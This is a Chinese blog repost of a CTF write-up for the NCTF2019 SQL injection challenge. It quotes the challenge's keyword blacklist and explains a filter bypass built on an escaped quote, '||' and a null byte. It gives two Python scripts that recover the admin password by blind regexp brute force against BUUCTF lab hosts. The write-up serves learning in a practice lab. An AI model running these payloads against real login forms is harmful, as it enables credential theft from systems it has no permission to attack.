我是靠谱客的博主 柔弱橘子,最近开发中收集的这篇文章主要介绍[NCTF2019]SQLi regexp正则注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

进去明摆着叫我们注入获得用户名或密码,先不急看看还有没有一些信息,扫后台可以发现robots.txt文件,里面暗示我们去hint.txt看一下

可以发现我们只需要获取admin的密码即可,账号任意

 

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

因为我本来sql这方面就差劲,看见过滤了我常用的方法啥的我就直接看wp学习了

这里考到regexp正则注入REGEXP注入与LIKE注入学习笔记_Qwzf的博客-CSDN博客_regexp注入

就比如密码是admin,我们利用regexp "^a"来判断是否a开头,如果是继续遍历regexp "^ad"……以达到获得信息的效果

select * from users where username='' and passwd=''

这是他提示我们的注入语句,想办法能够自己控制语句,我们可以通过来将第二个引号转义成字符串,形成username=''and passwd=''红色字体变成username的值,因此我将有过滤的passwd给清除掉了,因为过滤了or,我们用||来代替,最后一个引号要用注释符#,因为也被过滤了因此要用%00,我们来验证一下

可以看到我们成功实现了自己语句控制绕过了过滤,因此我们利用脚本 

#coding:utf-8
import requests
import time
import string
url = "http://fce2fdae-f628-4e9d-ba1b-8508a2dff0c6.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits

payload = ''
for n in range(100):
	print(n)
	for i in str_list:
		data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+i)}
		res = requests.post(url = url, data = data)
		if 'welcome.php' in res.text:
			payload += i
			print(payload)
			break
		elif res.status_code == 429:
			time.sleep(1)

这是普遍网上的脚本,因为不懂string这个模块,我便自己改了一下便于理解的

#coding:utf-8
import requests
import time
url = "http://99b65a0e-e848-4d0b-a029-b03383cc9784.node4.buuoj.cn:81/"
str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!#%^&,.';()_1234567890"

payload = ''
for i in range(1,1000):
	for m in str:
			data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+m)}
			res = requests.post(url = url, data = data)
			if 'welcome.php' in res.text:
				payload += m
				print(payload)
				break
			elif res.status_code == 429:
				time.sleep(1)

但其实还是要学习官方的脚本,因为我这个自己输入字符的脚本一开始是ascii可见字符直接遍历的,但是因为是正则表达式注入,遇到

就会重复出现多个匹配,很脑疼,因此我是一边跑脚本一边删的。但是最后依然有一个bug,不知道为什么他有时候跑出来的密码有大写字母,这个我很不理解,既然密码都是小写,我为什么匹配的时候会匹配出大写字母 

满脑子问号????

这里发一下学习那模块的链接

Python字符串| ascii_lowercase - 芒果文档  所有小写字母

Python字符串| ascii_uppercase - 芒果文档 所有大写字母

Python字符串| digits - 芒果文档 数字

最后

以上就是柔弱橘子为你收集整理的[NCTF2019]SQLi regexp正则注入的全部内容,希望文章能够帮你解决[NCTF2019]SQLi regexp正则注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(41)

评论列表共有 0 条评论

立即
投稿
返回
顶部